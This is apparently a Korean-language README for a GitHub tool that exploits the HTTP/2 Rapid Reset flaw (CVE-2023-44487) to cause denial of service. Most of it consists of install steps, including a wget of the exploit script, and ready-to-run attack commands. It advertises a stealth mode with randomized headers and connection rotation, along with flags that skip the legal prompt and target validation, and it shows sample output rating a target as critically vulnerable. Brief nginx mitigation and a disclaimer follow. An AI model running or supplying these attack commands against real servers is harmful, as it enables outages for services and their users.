
고급 CVE-2023-44487 HTTP/2 Rapid Reset 취약점 악용 프레임워크. 다중 연결 동시 공격, 적응형 속도 제어, 무작위 헤더를 사용한 스텔스 모드, 실시간 메트릭 및 위험 평가 보고 기능을 갖추고 있습니다. 승인된 침투 테스트 전용입니다. Sudeepa Wanigarathna 제공.
CVE-2023-44487(HTTP/2 Rapid Reset 취약점)을 위한 프로페셔널 등급 평가 프레임워크입니다. 이 도구는 보안 전문가가 최근 몇 년간 공개된 가장 영향력 있는 HTTP/2 DoS 조건 중 하나에 대해 시스템을 테스트하고 검증할 수 있도록 돕습니다.
HTTP/2 스트림을 빠르게 생성하고 재설정하면 서버 리소스를 고갈시켜 서비스 거부(DoS) 상태를 유발할 수 있다는 것을 보여줍니다.
| 사용법 | 결과 |
|---|---|
![]() | ![]() |
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2023-44487 |
| CVSS 점수 | 7.5 (높음) |
| 공격 벡터 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 영향 | 서비스 거부(리소스 고갈) |
| 영향받는 프로토콜 | HTTP/2 |
| 공개 날짜 | 2023년 10월 |
이 취약점은 HTTP/2 프로토콜의 스트림 관리 메커니즘을 악용합니다:
| 기능 | 설명 |
|---|---|
| HTTP/2 지원 | h2 라이브러리를 사용한 전체 HTTP/2 프로토콜 구현 |
| 다중 연결 | 여러 연결을 통한 동시 공격 |
| SSL/TLS | 인증서 검증 옵션이 포함된 HTTPS 지원 |
| 적응형 속도 제어 | 서버 응답에 따라 공격 속도를 동적으로 조정 |
| 스텔스 모드 | 무작위 헤더 및 연결 순환 |
| 실시간 모니터링 | 실행 중 실시간 지표 표시 |
| 포괄적인 보고 | 위험 평가가 포함된 JSON/CSV 출력 |
| Docker 지원 | 손쉬운 테스트를 위한 컨테이너화된 배포 |
| 구성 요소 | 최소 | 권장 |
|---|---|---|
| OS | Linux / macOS / Windows | Linux 또는 macOS |
| Python | 3.7+ | 3.11+ |
| CPU | 2코어 | 4코어 이상 |
| RAM | 2GB | 4GB+ |
| 네트워크 | 100Mbps | 1Gbps+ |
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
| 옵션 | 설명 | 기본값 |
|---|---|---|
host | 대상 호스트명 또는 IP | 필수 |
-p, --port | 대상 포트 | 443 |
--no-ssl | SSL/TLS 비활성화 | False |
--no-verify | SSL 검증 건너뛰기 | False |
| 옵션 | 설명 | 기본값 |
|---|---|---|
-c, --connections | 동시 연결 수 | 50 |
-s, --streams | 연결당 스트림 수 | 1000 |
-d, --duration | 지속 시간(초) | 30 |
--max-streams | 최대 총 스트림 수 | 100000 |
--delay | 작업 간 기본 지연 시간 | 0.0001s |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--adaptive | 적응형 속도 제어 | True |
--target-rps | 초당 목표 요청 수 | 10000 |
--stealth | 스텔스 모드(무작위 헤더) | False |
--skip-validation | 대상 검증 건너뛰기 | False |
--force | 법적 고지 프롬프트 건너뛰기 | False |
| 옵션 | 설명 | 기본값 |
|---|---|---|
-o, --output | 출력 파일 이름 | exploit_results.json |
--format | 출력 형식 (json / csv / console) | json |
-v, --verbose | 상세 로깅 | False |
위의 CLI 플래그를 사용하여 동시성, 스트림 수, 지속 시간 및 보고를 조정하십시오. 초기 검증에는 낮은 -c / -s / -d 값을 사용하고, 승인된 스트레스 테스트 대상 시스템에서만 규모를 늘리십시오.
| 시나리오 | 권장 플래그 |
|---|---|
| 스모크 테스트 | -c 10 -s 100 -d 5 |
| 표준 평가 | -c 50 -s 1000 -d 30 |
| 고부하 실험실 테스트 | -c 100 -s 2000 -d 60 --stealth |
| 신뢰할 수 없는 인증서 | --no-verify |
| 일반 HTTP | -p 80 --no-ssl |
docker build -t cve-2023-44487-exploit .
docker run --rm cve-2023-44487-exploit target.com
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
| 지표 | 설명 | 해석 |
|---|---|---|
| 총 스트림 | 생성된 스트림 수 | 높을수록 더 많은 부하 생성 |
| 성공적인 재설정 | 성공적으로 재설정된 스트림 | 취약한 대상에서 일반적으로 90% 이상 |
| 재설정 속도(RPS) | 초당 재설정 수 | 높을수록 더 효과적인 부하 |
| 성공률 | 성공적인 재설정의 비율 | 90% 초과는 노출 가능성을 의미 |
| 연결 오류 | 실패한 연결 | 낮음 = 안정적인 연결 |
| 서버 재설정 | 서버가 시작한 재설정 | 높음 = 보호 조치 존재 |
| 등급 | 점수 | 의미 |
|---|---|---|
| CRITICAL | 80–100 | 서버가 매우 취약함 |
| HIGH | 60–79 | 서버가 취약하나 일부 보호 조치 있음 |
| MEDIUM | 40–59 | 일부 보호 조치가 있음 |
| LOW | 0–39 | 보호가 잘 되어 있는 서버 |
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
보안 패치 적용
속도 제한 구현
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
연결 제한
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
| 설정 | 권장 사항 |
|---|---|
| 최대 동시 스트림 | 연결당 100–200으로 설정 |
| 스트림 재설정 속도 | 클라이언트당 <100/초로 제한 |
| 연결 제한 | IP당 최대 50–100 연결 |
| 시간 초과 값 | 유휴 시간 초과 줄이기 |
| 요청 크기 제한 | 헤더 크기 및 페이로드 제한 |
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
중요: 이 도구를 사용하기 전에 주의 깊게 읽으십시오
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다.
이 도구를 사용함으로써 귀하는 다음 사항을 인정하고 동의합니다:
이 도구는 다음 용도로 사용해서는 안 됩니다:
저자와 기여자들은 이 도구를 어떠한 보증도 없이 "있는 그대로" 제공합니다. 이 도구의 사용은 전적으로 사용자 본인의 책임입니다. 저자는 이 도구 사용으로 인해 발생하는 어떠한 손해나 법적 문제에 대해서도 책임을 지지 않습니다.
이 도구의 승인되지 않은 사용은 다음을 포함하되 이에 국한되지 않는 법률을 위반할 수 있습니다:
Sudeepa Wanigarathna
connection_attempts 속성 오류 수정--skip-validation 플래그 추가이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 — 자세한 내용은 LICENSE 파일을 참조하십시오.
h2, aiohttp 프로젝트)문제 및 질문은 다음을 통해 문의하십시오:
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
알림: 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오. 이 도구를 책임감 있고 윤리적으로 사용하십시오.
Sudeepa Wanigarathna가 유지 관리 | 마지막 업데이트: 2026년 8월